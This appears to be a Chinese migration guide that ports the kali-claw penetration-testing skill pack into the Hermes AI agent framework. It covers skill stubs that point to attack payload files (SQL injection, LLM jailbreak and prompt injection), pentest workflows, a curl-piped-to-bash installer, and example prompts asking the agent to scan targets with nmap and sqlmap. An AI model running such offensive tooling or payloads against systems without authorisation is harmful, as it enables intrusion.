    • v0.2.4 关键变化：MAJOR 工具升级修复（frida 17 / hashcat 7 / docker 29）；Defense Perspective 内容质量改进；2 个新 SKILL 落地
    • skill-lint 0 errors / 0 warnings, 139/139 clean pass（v0.2.3 起）
    • 详见 RELEASE-v0.2.4.md（最新）；历史：RELEASE-v0.2.1.md

    本指南中关于 agent 工具的命令和配置步骤仍然准确，仅更新了 kali-claw 侧的元数据。

    面向希望将 kali-claw 安全技能包迁移到 Hermes Agent 框架运行的安全工程师和渗透测试人员 最后更新：2026-05-18

    一、迁移概述

    1.1 为什么要迁移到 Hermes

    Hermes Agent（由 Nous Research 开发，github.com/NousResearch/hermes-agent）是一个开源的、自进化的 AI 智能体框架。与 OpenClaw 相比，Hermes 提供了以下关键优势：

    能力说明
    自学习闭环Hermes 会自动从经验中提炼知识，生成可复用的技能文件，无需人工维护
    持久记忆基于 SQLite + FTS5 全文检索 + LLM 摘要，比纯 Markdown 文件更高效
    200+ 模型支持通过 OpenRouter 接入 200+ 模型，也可直连 OpenAI、Anthropic、Gemini、Ollama
    多平台网关Telegram、Discord、Slack、WhatsApp、Signal、QQ、CLI 一键接入
    MIT 开源协议100k+ GitHub 星标（截至 2026 年 5 月），社区活跃

    1.2 kali-claw 技能包的价值

    kali-claw 的核心资产不是代码，而是经过系统化整理的 安全知识库：

    • 139 个安全技能域 — 覆盖 Web 安全、网络渗透、密码攻击、云安全、AI 安全等
    • 518 个 Kali Linux 工具知识库 — 从 nmap 到 sqlmap，从 burpsuite 到 metasploit
    • 数千行实战载荷 — payloads.md 中按类型分类的即用型攻击载荷
    • 结构化测试用例 — test-cases.md 中 TC-SXXX 格式的标准测试模板
    • 12 条黑客法则 — 定义安全思维方式的底层原则

    核心观点：迁移不是抛弃 OpenClaw，而是让 kali-claw 的安全知识在 Hermes 上也能使用。两个框架可以并行运行，共享同一份技能文件。

    1.3 迁移策略总览

    根据你的技术水平和控制需求，有三种迁移方式：

    方式适合人群耗时控制度
    自动迁移新手 / 想快速体验5 分钟低
    半手动迁移进阶用户 / 追求最佳效果1-2 小时中
    纯手动迁移需要完全控制每个细节3-5 小时高

    推荐路径：先用自动迁移快速导入，再用半手动方式为每个技能创建引用式存根文件。

    1.4 迁移前后对比表

    组件OpenClaw (kali-claw)Hermes Agent对应关系
    智能体人格SOUL.md~/.hermes/personality.md概念对应，格式不同
    用户配置USER.md~/.hermes/config.yaml (user 段)需手动映射
    工作空间配置AGENTS.md~/.hermes/config.yaml (agent 段)需手动映射
    技能标签IDENTITY.md技能文件 YAML frontmatter tags格式不同
    技能定义skills/*/SKILL.md (4 文件)~/.hermes/skills/skill-name.md (1 文件)引用
    记忆系统memory/*.md + MEMORY.mdSQLite + FTS5 检索存储机制不同
    工具知识库TOOLS.md~/.hermes/config.yaml (tools 段)需手动配置
    健康检查HEARTBEAT.md~/.hermes/config.yaml (cron 段)需手动配置

    二、环境准备

    2.1 安装 Hermes Agent

    # Linux / macOS / WSL2（推荐安装方式）
curl -fsSL https://get.hermes.dev | bash

# 验证安装
hermes --version
# 预期输出：hermes 2.x.x

# 查看配置目录
ls ~/.hermes/
# 预期输出：config.yaml  personality.md  skills/  memory/  tools/

    2.2 检查 OpenClaw 工作空间

    # 确认 OpenClaw 已安装
which openclaw || npm list -g openclaw

# 确认 kali-claw 工作空间存在
ls ~/.openclaw/workspace-kali-claw/
# 应看到：SOUL.md  AGENTS.md  USER.md  IDENTITY.md  MEMORY.md  TOOLS.md  HEARTBEAT.md  skills/  memory/  chronicle/

# 确认技能目录结构
ls ~/.openclaw/workspace-kali-claw/skills/ | head -20
# 应看到：api-security  web-sqli  network-pentest  osint  ...

    2.3 备份

    在执行任何迁移操作之前，务必先备份原始数据：

    # 备份整个 kali-claw 工作空间
cp -r ~/.openclaw/workspace-kali-claw/ ~/kali-claw-backup-$(date +%Y%m%d)/

# 验证备份
diff -rq ~/.openclaw/workspace-kali-claw/ ~/kali-claw-backup-$(date +%Y%m%d)/ | head -5
# 应无输出，说明备份完整

    三、方式一：自动迁移（推荐新手）

    3.1 运行迁移命令

    Hermes 内置了 OpenClaw 迁移工具，会自动检测 ~/.openclaw/ 目录下的所有工作空间：

    # 第一步：预览模式（不执行任何操作，只显示将要迁移的内容）
hermes claw migrate --dry-run

# 输出示例：
# [DRY RUN] Found OpenClaw workspace: workspace-kali-claw
# [DRY RUN]   -> SOUL.md → personality.md
# [DRY RUN]   -> 137 skills detected
# [DRY RUN]   -> 156 memory files detected
# [DRY RUN]   -> API keys: 3 channels configured
# [DRY RUN] No changes made. Run without --dry-run to execute.

    确认预览结果无误后，执行正式迁移：

    # 第二步：正式迁移
hermes claw migrate

# 输出示例：
# [MIGRATE] Importing workspace-kali-claw...
# [MIGRATE]   ✓ SOUL.md → personality.md
# [MIGRATE]   ✓ 137 skills imported
# [MIGRATE]   ✓ 156 memory files imported to SQLite
# [MIGRATE]   ✓ 3 channel configurations preserved
# [MIGRATE] Migration complete. Run `hermes skills list` to verify.

    3.2 自动迁移会做什么

    步骤操作目标
    1扫描 ~/.openclaw/ 下所有工作空间找到 kali-claw
    2读取 SOUL.md转换为 ~/.hermes/personality.md
    3读取 skills/*/SKILL.md导入到 ~/.hermes/skills/
    4读取 memory/*.md + MEMORY.md导入到 SQLite 记忆库
    5读取网关配置迁移 API 密钥和通道设置

    3.3 自动迁移的局限

    自动迁移很方便，但有以下已知局限：

    局限说明影响
    不生成引用路径payloads.md、test-cases.md、guides/ 会被复制到附件目录，但 Hermes 不会原生理解它们技能触发后只能看到 SKILL.md 的内容
    不转换 ECC 编排格式OpenClaw 的 Sequential Pipeline / Batch Processing 等编排模式不会映射到 Hermes 的 workflow 格式自动化编排功能缺失
    不处理脚本工具guides/ 中的 Python/Shell 脚本不会被注册为 Hermes 工具脚本类工具无法被 Hermes 调用
    标签和触发词缺失Hermes 技能需要 YAML frontmatter 中的 tags 和 triggers，自动迁移只生成基础标签技能可能无法被正确触发

    3.4 验证迁移结果

    # 查看已导入的技能列表
hermes skills list

# 预期输出：137 个技能名称

# 搜索已导入的记忆
hermes memory search "SQL injection"
hermes memory search "penetration testing"

# 查看特定技能内容
hermes skills show web-sqli

# 测试技能是否能被触发
hermes chat "帮我检测一下这个网站的 SQL 注入漏洞"

    四、方式二：半手动迁移（推荐进阶用户）

    这是推荐的迁移方式：先用自动迁移获取基础数据，再手动创建引用式技能存根文件以充分利用 Hermes 的能力。

    4.1 先运行自动迁移获取基础数据

    # 预览
hermes claw migrate --dry-run

# 执行自动迁移（建立基础数据）
hermes claw migrate

# 验证基础数据已到位
hermes skills list

    4.2 创建引用式 Hermes 技能文件（不修改 kali-claw）

    重要原则：kali-claw 的 skills/ 目录中的文件不会被修改、合并或转换。相反，Hermes 技能文件通过路径引用（references）指向 kali-claw 的原始文件，Hermes 在运行时读取这些引用文件的内容。

    引用关系：

    kali-claw 文件Hermes 技能文件中的引用说明
    SKILL.mdreferences 路径条目核心方法论和工具指引
    payloads.mdreferences 路径条目按类型分类的即用型攻击载荷
    test-cases.mdreferences 路径条目结构化测试用例模板
    guides/*.mdreferences 路径条目（可选）深度学习材料

    引用机制说明：

    • 在 Hermes 技能文件的 YAML frontmatter 中使用 references 字段列出 kali-claw 文件的绝对路径
    • Hermes 在触发该技能时会自动读取引用的文件内容
    • 当 kali-claw 的技能文件更新时（如添加新的载荷或测试用例），Hermes 自动获得最新内容，无需同步
    • 两个框架并行运行，共享同一份知识源

    4.3 引用式技能文件示例：web-sqli

    以下是在 ~/.hermes/skills/ 目录下创建一个轻量级 Hermes 技能存根文件的示例。这个存根文件不复制任何内容，而是通过 references 字段指向 kali-claw 的原始文件。

    kali-claw 原始文件（不会被修改）：

    skills/web-sqli/
├── SKILL.md                      # 技能定义（220 行）
├── payloads.md                   # 载荷集合（304 行）
├── test-cases.md                 # 测试用例（202 行）
├── sqli-cross-db-guide.md        # 跨库注入指南
└── sqli-double-query-guide.md    # 双查询注入指南

    Hermes 存根文件（~/.hermes/skills/web-sqli.md）：

    ---
name: web-sqli
version: 1.0
tags: [sqli, sql-injection, web-security, database, union-injection, blind-injection, error-based, double-query, waf-bypass, cross-database]
triggers: ["sql injection", "sqli", "SQL注入", "union select", "blind injection", "error-based injection", "double query", "注入检测", "sqlmap", "order by", "extractvalue", "updatexml"]
references:
  - path: /path/to/kali-claw/skills/web-sqli/SKILL.md
  - path: /path/to/kali-claw/skills/web-sqli/payloads.md
  - path: /path/to/kali-claw/skills/web-sqli/test-cases.md
---

# SQL Injection

## When to Use

当出现以下场景时使用此技能：

1. **Web 应用渗透测试** — 检测和利用目标应用中的 SQL 注入漏洞，提取敏感数据库信息
2. **CTF 竞赛解题** — 快速识别 SQL 注入题目类型（回显/盲注/报错/过滤绕过），构造有效载荷
3. **安全代码审计** — 从防御角度审查应用数据库交互代码，识别不安全的查询构造
4. **WAF 绕过研究** — 针对过滤关键字、注释符、空格的场景构造编码/变换绕过载荷
5. **跨数据库注入** — 针对 MySQL、PostgreSQL、MSSQL、Oracle 数据库引擎的特定注入技术

## Instructions

读取引用的文件以获取完整的方法论、载荷和测试用例。

- **SKILL.md** → 分步方法论、工具指引和攻击链
- **payloads.md** → 按类型组织的即用型攻击载荷（UNION注入、报错注入、盲注、WAF绕过等）
- **test-cases.md** → 结构化测试程序（TC-S001 至 TC-S012）

### 攻击链

检测 → 指纹识别 → 利用 → 数据提取 → 权限提升

## Examples

详见 payloads.md 中按类型分类的载荷集合。

## Test Cases

详见 test-cases.md 中的 TC-S001 至 TC-S012 结构化测试模板。

    使用说明：

    1. 将 references 中的 /path/to/kali-claw/ 替换为你的 kali-claw 工作空间的实际绝对路径
    2. 保存到 ~/.hermes/skills/web-sqli.md
    3. Hermes 在触发此技能时会自动读取引用的文件内容
    4. 当 kali-claw 更新技能文件时，Hermes 自动获得最新内容

    4.4 批量创建引用式技能存根

    以下 Shell 脚本会遍历 kali-claw 的 skills/ 目录，为每个技能在 ~/.hermes/skills/ 下创建轻量级存根文件。kali-claw 的原始文件不会被修改、合并或转换。 存根文件仅通过 references 字段指向 kali-claw 的原始路径，Hermes 在运行时读取这些引用文件。

    前置条件：确认 kali-claw 工作空间的绝对路径。

    # 确认路径（示例）
KALI_CLAW_SKILLS="$HOME/.openclaw/workspace-kali-claw/skills"
# 或者如果 kali-claw 在当前项目目录下：
# KALI_CLAW_SKILLS="$PWD/skills"

ls "$KALI_CLAW_SKILLS" | head -10
# 应看到：api-security  web-sqli  network-pentest  osint  ...

    批量创建脚本：

    #!/usr/bin/env bash
#
# create-hermes-stubs.sh
#
# 在 ~/.hermes/skills/ 下为每个 kali-claw 技能创建引用式存根文件。
# 不会修改、合并或转换 kali-claw 的任何原始文件。
#
# 用法：
#   ./create-hermes-stubs.sh /path/to/kali-claw/skills
#   ./create-hermes-stubs.sh --dry-run /path/to/kali-claw/skills

set -euo pipefail

DRY_RUN=false
if [[ "${1:-}" == "--dry-run" ]]; then
    DRY_RUN=true
    shift
fi

SOURCE_DIR="${1:-$HOME/.openclaw/workspace-kali-claw/skills}"
TARGET_DIR="$HOME/.hermes/skills"

if [[ ! -d "$SOURCE_DIR" ]]; then
    echo "错误：源目录不存在: $SOURCE_DIR"
    exit 1
fi

mkdir -p "$TARGET_DIR"

created=0
skipped=0

for skill_dir in "$SOURCE_DIR"/*/; do
    skill_name="$(basename "$skill_dir")"

    # 跳过没有 SKILL.md 的目录
    if [[ ! -f "$skill_dir/SKILL.md" ]]; then
        echo "  [SKIP] $skill_name: SKILL.md 不存在"
        ((skipped++)) || true
        continue
    fi

    target_file="$TARGET_DIR/$skill_name.md"

    # 收集存在的文件作为 references
    refs=""
    for f in SKILL.md payloads.md test-cases.md; do
        if [[ -f "$skill_dir$f" ]]; then
            refs="${refs}  - path: ${skill_dir}${f}
"
        fi
    done

    # 添加 guides/ 目录下的文件（可选）
    if [[ -d "$skill_dir/guides" ]]; then
        for g in "$skill_dir/guides"/*.md; do
            if [[ -f "$g" ]]; then
                refs="${refs}  - path: ${g}
"
            fi
        done
    fi

    # 生成显示标题（web-sqli -> Web Sqli）
    title=$(echo "$skill_name" | tr '-' ' ' | awk '{for(i=1;i<=NF;i++) $i=toupper(substr($i,1,1)) tolower(substr($i,2))}1')

    if $DRY_RUN; then
        echo "  [DRY-RUN] 将创建: $target_file"
        echo "           引用: $(echo -n "$refs" | grep -c 'path:') 个文件"
        ((created++)) || true
    else
        cat > "$target_file" <<HEREDOC
---
name: $skill_name
version: 1.0
tags: [$skill_name]
triggers: ["$(echo "$skill_name" | tr '-' ' ')"]
references:
$(echo -n "$refs")
---

# $title

读取引用的文件以获取完整的方法论、载荷和测试用例。

- **SKILL.md** -> 技能定义、方法论和工具指引
- **payloads.md** -> 按类型组织的攻击载荷
- **test-cases.md** -> 结构化测试程序模板
HEREDOC
        echo "  [OK] 已创建: $target_file"
        ((created++)) || true
    fi
done

echo "----------------------------------------"
echo "完成！创建: $created, 跳过: $skipped"
if $DRY_RUN; then
    echo "这是预览模式，未写入任何文件。去掉 --dry-run 参数执行正式创建。"
else
    echo "kali-claw skills/ 目录未被修改。"
fi

    使用方法：

    # 预览模式（查看将创建哪些存根）
bash create-hermes-stubs.sh --dry-run ~/.openclaw/workspace-kali-claw/skills

# 正式创建
bash create-hermes-stubs.sh ~/.openclaw/workspace-kali-claw/skills

# 如果 kali-claw 在当前目录
bash create-hermes-stubs.sh ./skills

    创建后优化：批量创建的存根文件使用通用 tags 和 triggers。建议逐个编辑，添加更精确的触发词和标签（参考 4.3 节中 web-sqli 的完整示例）。

    # 列出已创建的存根
ls ~/.hermes/skills/

# 编辑某个技能的触发词
vim ~/.hermes/skills/web-sqli.md

# 验证格式
hermes skills validate --all

    关键特性：此脚本：

    • 不读取 kali-claw 技能文件的内容（只检查文件是否存在以构建 references 列表）
    • 不复制 任何内容到 Hermes 存根文件中
    • 不修改 kali-claw 的任何文件
    • 生成的存根文件只是轻量级的"指针"，指向 kali-claw 的原始文件

    4.5 ECC 编排模式映射

    kali-claw 中的 ECC（Enhanced Cognitive Choreography）编排模式可以映射到 Hermes 的 workflow 格式。这里只描述概念映射关系，不修改 kali-claw 中的任何编排定义。在 Hermes 侧创建独立的 workflow 配置文件即可。

    OpenClaw ECC 模式Hermes workflow说明
    Sequential Pipelineworkflow: sequential按顺序依次执行步骤
    Batch Processingworkflow: parallel多个步骤并行执行
    Learning Cycleworkflow: iterative迭代执行直到满足条件
    Watch Loopworkflow: cron定时循环执行

    Sequential Pipeline 示例（在 ~/.hermes/workflows/ 中创建新文件）：

    # ~/.hermes/workflows/pentest-pipeline.yaml
name: pentest-pipeline
workflow: sequential
steps:
  - skill: recon-osint
    description: "信息收集"
  - skill: network-pentest
    description: "端口扫描"
  - skill: vulnerability-assessment
    description: "漏洞扫描"
  - skill: web-sqli
    description: "SQL 注入测试"

    Batch Processing 示例：

    # ~/.hermes/workflows/batch-scan.yaml
name: batch-scan
workflow: parallel
steps:
  - skill: web-sqli
    description: "SQL 注入测试"
  - skill: web-xss
    description: "XSS 测试"
  - skill: web-ssrf
    description: "SSRF 测试"
  - skill: web-auth-bypass
    description: "认证绕过测试"

    Learning Cycle 示例：

    # ~/.hermes/workflows/learning-cycle.yaml
name: tool-mastery
workflow: iterative
max_iterations: 10
exit_condition: "confidence > 0.9"
steps:
  - skill: continuous-learning
    description: "学习工具使用"
  - skill: verification-loop
    description: "验证掌握程度"

    注意：以上 workflow 文件引用的是 Hermes 侧的技能存根文件（~/.hermes/skills/），这些存根通过 references 指向 kali-claw 的原始技能文件。整个过程中 kali-claw 的 skills/ 目录保持不变。

    4.6 验证生成的技能存根

    # 验证单个技能
hermes skills validate web-sqli

# 运行技能测试
hermes skills test web-sqli

# 批量验证所有技能
hermes skills validate --all

# 批量测试所有技能
hermes skills test --all

# 查看技能触发效果
hermes chat "这个网站可能存在 SQL 注入，帮我检测一下"

    五、方式三：纯手动迁移（完全控制）

    如果你需要对每个技能的迁移进行精细控制，或者只迁移部分技能，可以使用纯手动方式。

    5.1 创建 Hermes 技能目录

    # 确保目录存在
mkdir -p ~/.hermes/skills/
mkdir -p ~/.hermes/tools/
mkdir -p ~/.hermes/workflows/

    5.2 逐个创建技能存根（以 ai-security 为例）

    以下是手动为 ai-security 技能创建 Hermes 引用式存根文件的完整步骤。kali-claw 的原始文件不会被修改。

    第一步：创建 YAML frontmatter 和 references

    ---
name: ai-security
version: 1.0
tags: [ai-security, llm, prompt-injection, jailbreak, model-extraction, rag-poisoning, adversarial-inputs, ai-supply-chain]
triggers: ["prompt injection", "jailbreak", "AI安全", "LLM安全", "model extraction", "RAG poisoning", "AI安全测试"]
references:
  - path: /path/to/kali-claw/skills/ai-security/SKILL.md
  - path: /path/to/kali-claw/skills/ai-security/payloads.md
  - path: /path/to/kali-claw/skills/ai-security/test-cases.md
---

    第二步：编写 When to Use 章节

    简要描述使用场景（不需要复制 SKILL.md 的完整内容）：

    ## When to Use

1. **LLM API 安全评估** — 评估独立 LLM API 部署的提示注入、越狱、数据泄露和速率限制漏洞
2. **RAG 系统安全** — 测试检索增强生成管道的文档投毒、上下文污染、间接注入
3. **AI 集成应用测试** — 评估嵌入 LLM 的 Web 和移动应用的注入路径
4. **模型行为提取** — 通过系统化查询序列重建模型系统提示和能力边界
5. **AI 供应链评估** — 评估第三方模型权重、Hugging Face 模型、LangChain 插件的风险
6. **AI 治理审计** — 通过对抗性压力测试评估 AI 系统是否遵守安全策略

    第三步：编写 Instructions 章节

    说明引用文件的内容结构，引导 Hermes 按需读取：

    ## Instructions

读取引用的文件以获取完整的方法论、载荷和测试用例。

- **SKILL.md** → 分步方法论、工具指引和攻击链
- **payloads.md** → 按类型组织的即用型攻击载荷（直接注入、越狱框架、间接注入等）
- **test-cases.md** → 结构化测试程序（TC-A001 至 TC-AXXX）

    第四步：编写 Examples 和 Test Cases 引导

    ## Examples

详见引用的 payloads.md 中按类型分类的载荷集合（直接提示注入、越狱框架、间接注入等）。

## Test Cases

详见引用的 test-cases.md 中的结构化测试模板。

    第五步：保存并验证

    # 保存到 Hermes 技能目录
vim ~/.hermes/skills/ai-security.md

# 验证格式
hermes skills validate ai-security

# 测试触发
hermes chat "帮我测试一下这个 LLM 应用的安全性"

    5.3 迁移代理人格

    SOUL.md 包含 12 条黑客法则和核心真理，需要转换为 Hermes 的 personality.md 格式：

    OpenClaw 原始格式（SOUL.md）：

    ## Hacker Laws

### 1. First Principles Thinking
Break problems down to the most fundamental facts...

### 2. Divergent Thinking First
Think of at least 3 solutions for every problem...

## Core Truths
- You are a penetration tester, not a chatbot
- ...

    Hermes 转换后格式（~/.hermes/personality.md）：

    # kali-claw Personality

## Traits

- **好奇心驱动**：对未知系统和技术的强烈好奇心
- **实践优先**：理论是浅薄的，每个工具都必须亲自动手验证
- **系统思维**：不孤立地看问题，全局考虑整个攻击链
- **负责任的披露**：发现漏洞是为了让系统更安全

## Behavioral Rules

1. **第一性原理**：将问题分解为最基本的事实，不盲目跟随工具或经验
2. **发散思维**：每个问题至少想 3 种解决方案，然后选择最优的
3. **最小攻击面**：减少暴露就是减少风险，每个开放端口都是潜在入口
4. **纵深防御**：不依赖单层防御，确保单点故障不会导致全面崩溃
5. **最小权限**：只授予必要的访问权限，过度权限是攻击者的跳板
6. **假设已被入侵**：假设攻击者已在网络内部，建立检测和响应能力
7. **模糊不是安全**：安全来自设计和验证，而非隐藏
8. **信任但要验证**：不信任任何输入，验证一切
9. **信息渴望自由**：知识共享推动安全进步
10. **技能优于证书**：以能力评判，而非头衔
11. **最薄弱环节是人**：人员是安全链中最薄弱的环节
12. **墨菲安全法则**：如果可以被利用，就会被利用

## Boundaries

- 仅在授权范围内进行安全测试
- 不参与非法攻击或未经授权的渗透测试
- 发现漏洞后遵循负责任的披露流程
- 遵守当地法律法规和职业道德准则

    5.4 迁移记忆系统

    Hermes 的记忆系统基于 SQLite + FTS5 全文检索，比 OpenClaw 的纯 Markdown 文件更高效。

    方法一：使用 Hermes 内置命令

    # 导入单个记忆文件
hermes memory import --file ~/.openclaw/workspace-kali-claw/memory/2026-05-17.md

# 导入长期精炼知识
hermes memory import --file ~/.openclaw/workspace-kali-claw/MEMORY.md

# 仅导入记忆（不迁移其他内容）
hermes claw migrate --memory-only

    方法二：批量导入

    # 批量导入所有每日日志
for f in ~/.openclaw/workspace-kali-claw/memory/*.md; do
    echo "导入: $f"
    hermes memory import --file "$f"
done

# 导入月度编年史
for f in ~/.openclaw/workspace-kali-claw/chronicle/*/*.md; do
    echo "导入: $f"
    hermes memory import --file "$f"
done

    验证记忆导入：

    # 查看记忆统计
hermes memory stats

# 搜索测试
hermes memory search "SQL injection"
hermes memory search "nmap"
hermes memory search "渗透测试方法论"

    5.5 迁移工具知识库

    TOOLS.md 中记录了 518 个 Kali Linux 工具的学习进度和使用方法。在 Hermes 中，工具通过配置文件注册：

    方法一：手动配置

    # 配置 Kali 工具路径
hermes config set tools.kali_path /usr/bin

# 添加常用工具别名
hermes config set tools.aliases.sqlmap "/usr/bin/sqlmap"
hermes config set tools.aliases.nmap "/usr/bin/nmap"
hermes config set tools.aliases.burpsuite "/usr/bin/burpsuite"

    方法二：批量导入工具配置

    # 如果 kali-claw 运行在 Kali Linux 上
hermes config set tools.auto_detect true
hermes config set tools.search_path /usr/bin:/usr/sbin:/usr/local/bin
hermes tools scan

    六、迁移后配置

    6.1 配置 Kali 工具访问

    根据你的部署方式选择对应配置：

    # 方案 A：Hermes 直接运行在 Kali Linux 上（推荐）
hermes config set tools.kali_path /usr/bin
hermes config set tools.auto_detect true

# 方案 B：通过 SSH 远程访问 Kali 主机
hermes config set tools.remote_ssh user@kali-host
hermes config set tools.remote_ssh_key ~/.ssh/id_rsa

# 方案 C：通过 Docker 容器访问 Kali 工具
hermes config set tools.docker_image kalilinux/kali-rolling
hermes config set tools.docker_exec true

    6.2 配置模型

    Hermes 支持多种模型提供商，推荐使用 OpenRouter 获取最佳性价比：

    # 方案 A：使用 OpenRouter（200+ 模型，推荐）
hermes config set model.provider openrouter
hermes config set model.name anthropic/claude-sonnet-4-6
hermes config set model.api_key $OPENROUTER_API_KEY

# 方案 B：直连 Anthropic
hermes config set model.provider anthropic
hermes config set model.name claude-sonnet-4-6
hermes config set model.api_key $ANTHROPIC_API_KEY

# 方案 C：直连 OpenAI
hermes config set model.provider openai
hermes config set model.name gpt-4o
hermes config set model.api_key $OPENAI_API_KEY

# 方案 D：使用本地 Ollama（免费，适合离线）
hermes config set model.provider ollama
hermes config set model.name llama3
hermes config set model.base_url http://localhost:11434

    6.3 配置网关

    Hermes 支持多种平台网关，可以同时启用多个：

    # Telegram 网关
hermes gateway add telegram --token YOUR_TELEGRAM_BOT_TOKEN

# Discord 网关
hermes gateway add discord --token YOUR_DISCORD_BOT_TOKEN

# Slack 网关
hermes gateway add slack --token YOUR_SLACK_BOT_TOKEN --signing-secret YOUR_SIGNING_SECRET

# CLI 网关（默认，直接在终端使用）
hermes gateway start

# 查看已配置的网关
hermes gateway list

# 启用所有网关
hermes gateway start --all

    6.4 验证完整迁移

    # 1. 查看技能列表
hermes skills list
# 预期：137 个技能

# 2. 测试所有技能
hermes skills test --all

# 3. 查看记忆统计
hermes memory stats
# 预期：数百条记忆记录

# 4. 重建记忆索引（如果搜索不到）
hermes memory reindex

# 5. 健康检查
hermes health

# 6. 端到端测试
hermes chat "帮我用 nmap 扫描目标，然后用 sqlmap 测试 SQL 注入"

    七、常见问题

    Q1：自动迁移报错"找不到 OpenClaw 工作空间"

    原因：~/.openclaw/ 目录不存在或路径不对。

    解决：

    # 检查 OpenClaw 安装
npm list -g openclaw

# 检查工作空间位置
openclaw agents list

# 如果工作空间在非标准位置，手动指定路径
hermes claw migrate --path /path/to/openclaw/workspace-kali-claw

    Q2：迁移后技能不被触发

    原因：YAML frontmatter 中的 triggers 关键词不匹配用户输入。

    解决：

    # 查看技能的触发词
hermes skills show web-sqli

# 手动编辑触发词
vim ~/.hermes/skills/web-sqli.md
# 在 frontmatter 的 triggers 中添加更多关键词

# 或者使用 CLI 更新
hermes skills edit web-sqli --add-trigger "SQL注入检测" --add-trigger "注入漏洞"

    Q3：载荷格式不兼容

    原因：OpenClaw 的 payloads.md 是独立文件，Hermes 要求载荷在 ## Examples 章节内。

    解决：使用引用式存根方案（第四章 4.4 节）生成技能存根文件，通过 references 字段指向 kali-claw 的 payloads.md。Hermes 在触发技能时会自动读取引用文件的内容，无需手动复制或合并。

    Q4：记忆导入后搜索不到内容

    原因：FTS5 全文索引可能需要重建。

    解决：

    # 重建索引
hermes memory reindex

# 验证索引状态
hermes memory stats

    Q5：可以同时保持 OpenClaw 和 Hermes 双运行吗

    可以。两个框架完全独立，互不影响。它们只是读取同一份知识的不同方式：

    # OpenClaw 继续运行
openclaw gateway start

# Hermes 同时运行
hermes gateway start

    Q6：如何在两个框架间同步更新

    使用引用式存根方案，两个框架可以共享同一份技能源文件而无需同步：

    • kali-claw 直接读写 skills/ 目录中的文件
    • Hermes 通过存根文件中的 references 路径读取同一份文件
    • 当 kali-claw 的技能文件更新时，Hermes 在下次触发该技能时自动获得最新内容

    不需要手动同步、符号链接或 git submodule。

    Q7：Hermes 的自学习会覆盖迁移的技能吗

    不会。Hermes 的自学习机制会追加新的经验到技能文件中，而非覆盖已有内容。当 Hermes 通过实践学到新知识时，它会在技能文件的 ## Examples 部分追加新的示例，在 ## Instructions 部分补充新的方法。

    Q8：Python/Shell 脚本工具怎么处理

    guides/ 中的脚本工具通过存根文件的 references 字段指向，Hermes 会在运行时读取：

    # 确保 references 中包含 guides 目录的路径
# 在 ~/.hermes/skills/web-sqli.md 的 references 中已有：
#   - path: /path/to/kali-claw/skills/web-sqli/guides/sqli-automation.py

# 如果需要将脚本注册为 Hermes 可调用工具，可以单独配置
hermes config set tools.custom.sqli-automation "/path/to/kali-claw/skills/web-sqli/guides/sqli-automation.py"

    Q9：如何只迁移部分技能

    # 方法一：自动迁移后删除不需要的
hermes claw migrate
hermes skills remove cloud-security  # 删除不需要的技能

# 方法二：手动为指定技能创建存根
# 参考 4.3 节的示例，只为需要的技能创建存根文件
vim ~/.hermes/skills/web-sqli.md
hermes skills validate web-sqli

# 方法三：修改批量脚本，只处理指定目录
# 在 create-hermes-stubs.sh 的循环中添加条件过滤
# for skill_dir in "$SOURCE_DIR"/{web-sqli,web-xss,network-pentest}/; do

    Q10：迁移后性能有差异吗

    Hermes 使用 SQLite + FTS5 进行记忆检索，理论上比 OpenClaw 的文件遍历更快。由于采用引用式存根方案，Hermes 的技能文件本身很轻量（只有路径引用和基本描述），运行时通过 references 按需读取 kali-claw 的原始文件。如果遇到性能问题，可以考虑：

    # 启用技能缓存
hermes config set skills.cache_enabled true

# 如果引用文件读取延迟较高，考虑将 kali-claw 放在本地 SSD 上

    八、架构对比与参考

    8.1 完整组件映射表

    kali-claw (OpenClaw)Hermes Agent迁移方法优先级
    SOUL.md~/.hermes/personality.md自动/手动高
    USER.md~/.hermes/config.yaml (user 段)手动中
    AGENTS.md~/.hermes/config.yaml (agent 段)手动中
    IDENTITY.md技能文件 YAML frontmatter tags手动低
    skills/*/SKILL.md~/.hermes/skills/skill-name.md引用（存根 references）高
    skills/*/payloads.md存根文件 references 路径引用（不修改原文）高
    skills/*/test-cases.md存根文件 references 路径引用（不修改原文）中
    skills/*/guides/存根文件 references 路径引用（不修改原文）低
    MEMORY.mdSQLite (hermes memory)自动导入高
    memory/*.mdSQLite (hermes memory)自动导入高
    chronicle/SQLite (hermes memory)自动导入低
    TOOLS.md~/.hermes/config.yaml (tools 段)手动中
    HEARTBEAT.md~/.hermes/config.yaml (cron 段)手动低

    8.2 技能格式对比

    OpenClaw 格式（多文件）：

    skills/web-sqli/
├── SKILL.md                        # 技能定义（Description, Use Cases, Methodology, Tools, Hacker Laws）
├── payloads.md                     # 按类型分类的攻击载荷（10 大类）
├── test-cases.md                   # 结构化测试用例模板（12 个 TC-SXXX 用例）
├── sqli-cross-db-guide.md          # 跨库注入指南
└── sqli-double-query-guide.md      # 双查询注入指南

    Hermes 格式（引用式存根）：

    ~/.hermes/skills/
└── web-sqli.md                     # 轻量级存根，通过 references 指向 kali-claw 原始文件
                                      # 不包含合并内容，运行时动态读取引用文件

    8.3 记忆系统对比

    特性OpenClawHermes
    存储方式Markdown 文件SQLite 数据库
    检索方式文件遍历FTS5 全文检索
    容量受文件系统限制SQLite 支持数百万条记录
    摘要手动精炼到 MEMORY.mdLLM 自动摘要
    持久性文件级持久数据库级持久 + 自动备份

    8.4 推荐迁移顺序

    1. 先迁移核心安全技能（web-sqli, web-xss, network-pentest, osint）
    2. 再迁移代理人格（SOUL.md -> personality.md）
    3. 然后迁移记忆系统（memory/ -> SQLite）
    4. 最后迁移辅助配置（TOOLS.md, HEARTBEAT.md）
    5. 逐步验证，确保每个阶段都能正常工作

    下一步：完成迁移后，建议阅读 Hermes 官方文档了解更多高级功能：github.com/NousResearch/hermes-agent

  • kali-claw-pentest-agent/GUIDE-OPENCLAW-en.mdmarkdown · 56.3 KB

    OpenClaw + kali-claw: Complete Usage Guide

    ⚠️ Update Notice (2026-08-08): This guide reflects kali-claw v0.2.4 (Phase 2 Track 1 Minor Release). Key changes since v0.2.1:

    • 139 skill domains (added in v0.2.4: eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack)
    • All 139 SKILLs at v0.2.0.2 with complete Defense Triple (Defense Perspective + Detection Methods + Defense Evasion Techniques) — 100% coverage
    • skill-lint: 0 errors / 0 warnings, 139/139 clean pass (since v0.2.3)
    • MAJOR tool upgrades applied in v0.2.4 (frida 17 / hashcat 7 / docker 29 compatibility)
    • See RELEASE-v0.2.4.md for full milestone details
